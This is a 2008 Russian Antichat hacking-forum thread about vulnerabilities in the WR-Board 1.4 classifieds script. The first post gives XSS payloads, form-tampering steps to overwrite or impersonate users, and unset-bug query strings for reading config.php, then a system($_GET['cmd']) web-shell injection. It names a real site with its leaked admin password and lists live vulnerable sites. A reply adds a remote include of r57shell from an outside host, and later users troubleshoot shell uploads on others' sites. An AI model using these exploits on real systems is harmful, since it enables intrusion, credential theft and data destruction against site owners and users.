ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Море уязвимостей в WR-Board 1.4
  #1  
Старый 01.05.2008, 02:09
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию Море уязвимостей в WR-Board 1.4

На днях потестил доску объявлений WR-Board 1.4, представляю отчет о найденных глюках:

1. XSS

Цитата:
http://localhost/wrb/tools.php?event=viewfoto&foto='><script>alert()</script><'

http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=<s cript>alert()</script>&fid=21&id=14327

http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LO H&fid=><script>alert()</script><&id=14327

http://localhost/wrb/tools.php?event=mailto&email=lelik@mail.ru&name=LO H&fid=21&id=><script>alert()</script><
К сожалению, все пассивные.


Есть активная XSS в cookies, параметр wrboardname

Цитата:
Otmorozok428<script>alert()</script>
Правда, при помощи неё можно утянуть только свои собственные куки.


2. Регистрация пользователя с уже существующим именем.

Хочу я, скажем, зарегистрировать юзера с ником Pupkin, а подлая борда говорит, что есть уже такой пользователь и обламывает процесс. Что делать? Регистрируем пользователя с ником, допустим, Vasya, идём на вкладку "Ваш профиль", открываем исходный код странички, ищем строчку

Цитата:
<FORM action='tools.php?event=reregistr' method=post>
и заменяем её на

Цитата:
<FORM action='http://localhost/tools.php?event=reregistr&ok=9' method=post>
Параметр 'ok=9' означает, что наш профиль после сохранения будет записан в девятую строчку от начала файла usersdat.php, где лежат профили всех юзеров, кроме админа. Профиль безвестного чувака, который лежит в девятой строчке, естественно, будет затерт - искусство требует жертв... Затем ищем ещё вот такую строчку

Цитата:
<input type=hidden name=login value='Vasya'>
и заменяем на

Цитата:
<input type=hidden name=login value='Pupkin'>
Сохраняем страничку на жесткий диск, открываем её оттуда и жмём кнопку "Сохранить изменения".

Всё, теперь в базе 2 пользователя с ником Pupkin. Если нужно, можно создать ещё.
Изменяя параметр ok от 0 до N, где N - количество пользователей, можно затереть всю базу, это будет DoS-атака...


3. Публикация сообщения от чужого имени.

Собственно, почти то же, что и в пункте 2, только не требуется добавление нового пользователя в базу и, соответственно, не надо затирать уже существующих юзеров. Выбираем пункт "Добавить объявление" и приводим 2 строчки в POST-формочке к такому виду

Цитата:
<FORM action='http://localhost/add.php?event=add&ok=1' method=post name=addForm enctype="multipart/form-data">
и

Цитата:
<input type=hidden name=name value='Pupkin'>

4. Просмотр произвольных файлов на сервере.

Существует возможность просмотра файлов, благодаря unset-багу для PHP4 < 4.4.3, PHP5 < 5.1.4. Подробнее про unset-уязвимость можно почитать, например, здесь:

http://forum.antichat.ru/thread54355.html

Смотрим код в файле index.php:

PHP код:
// ПОКАЗЫВАЕМ ТЕКУЩЕЕ ОБЪЯВЛЕНИЕ (ЛЕВЕЛ 3)
if (isset($_GET['fid']) and isset($_GET['id'])) { $fid=$_GET['fid'];

$error="Ошибка скрипта! Обратитесь к администратору - $adminemail";
$deleted="$back. Файл рубрики НЕ существует! Возможно администратор удалил данную рубрику.";
if (!isset(
$_GET['id'])) {print"$error"; exit;} $id=$_GET['id'];
if (
$_GET['id']==="") {print "$error"; exit;}

if (
is_file("$datadir/$fid.dat")) {$lines=file("$datadir/$fid.dat");}
$cy=count($lines)-1$itogo=$cy$i=$itogo;
if (
$cy>=0) {unset($number); do {$dt=explode("|",$lines[$i]);
 if (
$dt[10]==$id) {$number=$i;} $i--;} while ($i >= 0);}

if (!isset(
$number)) {include "$topurl"addtop(); print"<BR><BR><BR><BR><BR><center><font size=-1><B>Уважаемый 

посетитель!</B><BR><BR> 
Извините, но запрашиваемое Вами <B>объявление недоступно.</B><BR><BR>
Скорее всего, <B>закончился срок его показа</B>, и оно было удалено с доски.<BR><BR>
Вы можете <B><a href='index.php?fid=
$fid'>перейти в раздел</a></B> где было размещено объявление.<BR>
Возможно, Вы найдёте похожее объявление в этом разделе.<BR><BR>
<B>Перейти на главную</B> страницу доски можно по <B><a href='index.php'>этой 

ссылке</a></B><BR><BR><BR><BR><BR><BR><BR><BR><BR>"
;

} else {

...................................
какие-то действия
...................................

if (
is_file("$datadir/$id.dat"))  {

$rlines=file("$datadir/$id.dat");
................................
................................
}} 
Видим, что если переменная $number инициализирована, имеется возможность запихнуть в качестве переменной $id имя какого-нибудь файла. При этом переменная $id вообще никак не фильтруется, а глючный кусок кода то ли остался от предыдущих версий, то ли используется в платной версии, но в версии Lite при штатной работе он вообще никак не задействован.

Далее, бежим на

http://lukasz.pilorz.net/testy/zend_hash

и по быстрому вычисляем хеши для переменной $number, они такие

Цитата:
-305479930 для PHP4
807219790 для PHP5
Теперь, пробуем создавать действительно правильные запросы... Скрипт, конечно, будет очень сильно материться, но выполняться... Смотрим содержимое файла newmsg.dat

Цитата:
http://localhost/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2 //PHP4

http://localhost/index.php?fid=2&id=newmsg&number=807219790&8072197 90=2 //PHP5

Получаем, содержимое файла usersdat.php:

Цитата:
http://localhost/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=2 //PHP4

http://localhost/index.php?fid=2&id=usersdat.php%00&number=80721979 0&807219790=2 //PHP5
Посмотрим файлик config.php (здесь, кстати, лежит админский пасс)

Цитата:
http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=-305479930&-305479930=2 //для PHP 4

http://localhost/wrb/index.php?fid=2&id=../config.php%00&number=807219790&807219790=2 //для PHP5
Короче, unset-баг самый вкусный... К сожалению, на все 100% заюзать баг мне удалось только здесь:

Цитата:
http://city-45.ru/board/index.php

Админский пасс: krot_2002
Вообще же, мне удалось обнаружить большое количество сайтов, где unset-бага достаточно успешно работает, но %00 почему-то не катит... Например,

Цитата:
http://www.board.lobnya.biz/index.php?fid=2&id=usersdat.php%00&number=-305479930&-305479930=1

http://viaduk.podolchanin.ru/index.php?fid=2&id=newmsg&number=807219790&8072197 90=2

http://www.koap.ru/do/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2

http://kupi-prodam.hut2.ru/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2

http://kotlassdelka.ru/index.php?fid=98&id=newmsg&number=-305479930&-305479930=1

http://www.disv.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2

http://www.doska777.org.ua/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2

http://www.stupino.org/board/index.php?fid=3&id=newmsg&number=-305479930&-305479930=2

http://kat.3vr.ru/board/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2

http://www.rozavetrov.biz/board/index.php?fid=7&id=newmsg&number=-305479930&-305479930=2

http://doska.magek.ru/index.php?fid=4&id=newmsg&number=-305479930&-305479930=2

http://www.57.org.ua/index.php?fid=9&id=newmsg&number=-305479930&-305479930=2

http://www.5825200.ru/board/index.php?fid=2&id=newmsg&number=-305479930&-305479930=2
Если, кто-нить знает что не так с %00, отпишитесь, плз...


Заключение: Получение шелла

Идем в админку (файл admin.php), логинимся с админским пассом из файла config.php, заходим на вкладку "Конфигурация" и в пункте "Относительный путь до папки с данными доски" прописываем

Цитата:
./data"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//
Сохраняем конфигурацию. Всё, шелл готов к работе!

*****

Последний раз редактировалось otmorozok428; 04.05.2008 в 13:08..
 
Ответить с цитированием

Получение шелла
  #2  
Старый 03.05.2008, 15:54
KeynDark
Новичок
Регистрация: 24.04.2008
Сообщений: 1
Провел на форуме:
99990

Репутация: 0
Отправить сообщение для KeynDark с помощью ICQ
По умолчанию Получение шелла

Удобней так:
Код:
./data";include $_GET["inc"];//
Инклюдим шел:
Код:
www.test.ua/board/index.php?inc=http://site.ua/r57shell.txt
Пока всё
 
Ответить с цитированием

  #3  
Старый 03.05.2008, 16:28
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
При добавлении нового пользователя, параметр $_SERVER['REMOTE_ADDR']; в скрипте tools.php не проверяется на наличие символа прямой черты |
0_o а каким образом ты REMOTE_ADDR собрался изменять???
Цитата:
Вообще же, мне удалось обнаружить большое количество сайтов, где unset-бага достаточно успешно работает, но %00 почему-то не катит...
Не катит, потому что на тех сайтах включен magic_quotes_gpc, который экранирует нулл байт
 
Ответить с цитированием

  #4  
Старый 04.05.2008, 13:15
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию

Цитата:
0_o а каким образом ты REMOTE_ADDR собрался изменять???
Сорри, действительно не получится - убрал этот пункт...

За magic_quotes_gpc - спасибо, что оно нуль-байт тоже режет не знал...
 
Ответить с цитированием

  #5  
Старый 04.05.2008, 14:31
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме:
1212427

Репутация: 187
Отправить сообщение для Dr.Frank с помощью ICQ
По умолчанию

Если кому интересно, как вариант от заливки шелла(а точнее от получения пароля админа путем прочтения файла config.php) поможет md5-хеширование пароля админа.

В файле config.php меняем $password=пароль на $password=хеш_от_пароля.
Файл admin.php переделанный для работы с хешем тут -> http://rapidshare.com/files/112438256/admin.zip.html
 
Ответить с цитированием

Нужна помощь
  #6  
Старый 12.01.2009, 00:35
omel
Новичок
Регистрация: 26.06.2007
Сообщений: 27
Провел на форуме:
267117

Репутация: 1
Question Нужна помощь

Цитата:
Сообщение от KeynDark  
Удобней так:
Код:
./data";include $_GET["inc"];//
Нужна помощь есть пароль на админку и нужно залить шел... пробовал по этому методу не идет. Вот что пишет:
Warning: fopen(config.php) [function.fopen]: failed to open stream: Permission denied in /usr/home/------/admin.php on line 1347
Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1349
Warning: ftruncate(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1351
Warning: fputs(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1353
Warning: fflush(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1355
Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1357
Warning: fclose(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1359
Warning: Cannot modify header information - headers already sent by (output started at /usr/home/------/admin.php:1347) in /usr/home/------/admin.php on line 1365
 
Ответить с цитированием

  #7  
Старый 27.01.2009, 17:49
KyMPaH
Новичок
Регистрация: 26.01.2009
Сообщений: 12
Провел на форуме:
19053

Репутация: 1
По умолчанию

Цитата:
Сообщение от omel  
Нужна помощь есть пароль на админку и нужно залить шел... пробовал по этому методу не идет. Вот что пишет:
Warning: fopen(config.php) [function.fopen]: failed to open stream: Permission denied in /usr/home/------/admin.php on line 1347
Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1349
Warning: ftruncate(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1351
Warning: fputs(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1353
Warning: fflush(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1355
Warning: flock() expects parameter 1 to be resource, boolean given in /usr/home/------/admin.php on line 1357
Warning: fclose(): supplied argument is not a valid stream resource in /usr/home/------/admin.php on line 1359
Warning: Cannot modify header information - headers already sent by (output started at /usr/home/------/admin.php:1347) in /usr/home/------/admin.php on line 1365
Что конкретно не идёт? Не инклудит или вообще не сохраняет новые настройки в админке? Если не сохраняет настройки в админке - забей на этот сайт, у веб-сервера нет прав на запись в файл с настройками. Данным методом залить шелл на сайт не получится.

Последний раз редактировалось KyMPaH; 27.01.2009 в 17:52..
 
Ответить с цитированием

  #8  
Старый 03.02.2009, 01:11
omel
Новичок
Регистрация: 26.06.2007
Сообщений: 27
Провел на форуме:
267117

Репутация: 1
По умолчанию

я так и понял что нифига не будет...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
49% веб-приложений имеют от одной до десяти уязвимостей ozs Мировые новости 0 11.04.2008 19:12
Использование регулярных выражений при поиске уязвимостей php Macro Авторские статьи 24 11.02.2008 23:41
Классификация уязвимостей flintstone Статьи 1 16.01.2008 18:06
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Форумы 14 19.04.2006 19:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ